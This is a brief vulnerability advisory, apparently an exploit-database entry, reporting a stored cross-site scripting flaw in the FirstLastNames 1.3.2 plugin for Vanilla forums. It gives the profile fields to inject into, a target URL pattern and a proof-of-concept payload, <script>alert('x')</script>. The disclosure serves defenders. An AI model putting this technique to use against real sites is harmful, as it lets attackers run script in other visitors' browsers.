23 lines
No EOL
706 B
Text
23 lines
No EOL
706 B
Text
# Title: Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS Vulnerability
|
|
# Date: 18/5/12
|
|
# Author: Henry Hoggard
|
|
# Author URL: henryhoggard.co.uk
|
|
# Author Twitter: @henryhoggard
|
|
# Software: Vanilla Version 2.0.18.4 + FirstLastNames 1.3.2
|
|
|
|
http://vanillaforums.org/addon/firstlastnames-plugin
|
|
|
|
# http://vanillaforums.org
|
|
#############################################################
|
|
|
|
On Edit your account enter your XSS String in either the first name or last name field.
|
|
Then if a user visits your page the XSS will execute.
|
|
|
|
http://target.tld/index.php?p=/profile/myprofile/1/user
|
|
|
|
XSS:
|
|
<script>alert('x')</script>
|
|
|
|
#############################################################
|
|
|
|
http://henryhoggard.co.uk |